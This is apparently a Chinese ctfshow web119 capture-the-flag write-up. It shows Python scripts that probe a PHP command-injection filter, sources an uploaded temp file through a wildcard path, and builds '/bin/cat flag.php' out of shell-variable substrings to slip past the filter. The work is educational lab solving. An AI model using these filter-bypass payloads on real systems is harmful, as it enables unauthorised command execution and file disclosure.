当前位置: 首页 > news >正文

[ctfshow web入门] web119

信息收集

import requestsurl = "http://51a7e437-2e66-4742-bbfe-e4cce44e360b.challenge.ctf.show/"
for i in range(255):data = {"code": f"{chr(i)}"}response = requests.post(url, data=data)# print(len(response.text))# print(response.text)if len(response.text) == 489:print(f"{hex(i)}: {chr(i)}")

用上面的代码试试过滤了多少字符,之前用的burpsuite,还得我一个个对照ascii码表查看什么过滤掉了,自己写的脚本没多复杂更省事

%09 %0a
! " % & ' ( ) * + , - /
0-9
< = > [ \ ] ^ `
a-z
|

我在做题的时候明明没有包含上述字符,但还是evil input,又测试了一下

解题

临时文件上传

上一题的临时上传文件依然能用

import requests
from time import sleepurl = "http://8e524b2c-2846-42f6-879c-0ea2627207dc.challenge.ctf.show/"  # http不要s
# . /tmp/php?????A ==> . /???/?h??????A
payload = ". ${HOME:${#}:${#SHLVL}}???${HOME:${#}:${#SHLVL}}?${HOME:${#SHLVL}:${#SHLVL}}??????A"
file = { "file": "tac flag.php" }
data = { "code": payload }for i in range(1000):response = requests.request("POST", url, files=file, data=data)if (len(response.text)) != 479:print(response.text)print(len(response.text))breakprint(i, end=" ")sleep(0.3)

截图里的post_url我就不改了,反正没影响,这是抄之前代码没好好读造成的

在这里插入图片描述

构造命令

之前构造的那些命令不能使用了,是因为PATH被过滤了,需要重新构造

$PWD		/var/www/html
$HOME		/home/www-data
${#SHLVL}	1,$SHLVL是2,表示有两个打开的bash,一般不会超过9
${##}		1,size('0')不就是1吗

就是答案给的/bin/cat flag.php

${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???

web118    目录    web120

http://www.xdnf.cn/news/518113.html

相关文章:

  • C++实现伽罗华域生成及四则运算(二)
  • 小记录111
  • Day29
  • 基于Spring Cloud Sentinel自研Slot扩展实战
  • AI图像处理之ComfyUI节点(二)
  • CSS动画实现
  • React方向:react脚手架的使用
  • 【快速解决】彻底卸载VMWare
  • 2025.5.17总结
  • 时间服务器深度解析与实战指南:从原理到企业级部署
  • GO学习指南
  • INA226 高侧/低侧测量、双向电流/功率监视器,具有I2C兼容接口
  • 处理金融数据,特别是股票指数数据,以计算和分析RSRS(相对强度指数)
  • NE555双音门铃实验
  • 电子电路:阻抗是什么,容抗又是什么?
  • Python打卡 DAY 29
  • Baklib赋能企业知识资产AI化升级
  • Python 中二维列表(list)(嵌套列表)详解
  • 3Dmax中用RayFire实现破碎动画效果
  • Python黑魔法与底层原理揭秘:突破语言边界的深度探索
  • TensorRT
  • 提取YOLO检测框-以车牌识别为例
  • 远程文件传输解决方案:用群晖NAS Cloud Sync实现跨地区传输与多人同时传输时的优化
  • 什么是 Boosting
  • BOM知识点
  • 加密芯片法(一)ATSHA204A 特性理解
  • 使用Redission来实现布隆过滤器
  • 【八股战神篇】MySQL高频面试题
  • FreeTex v0.3.0:支持静默运行/软件体积压缩
  • LLM笔记(八)Transformer学习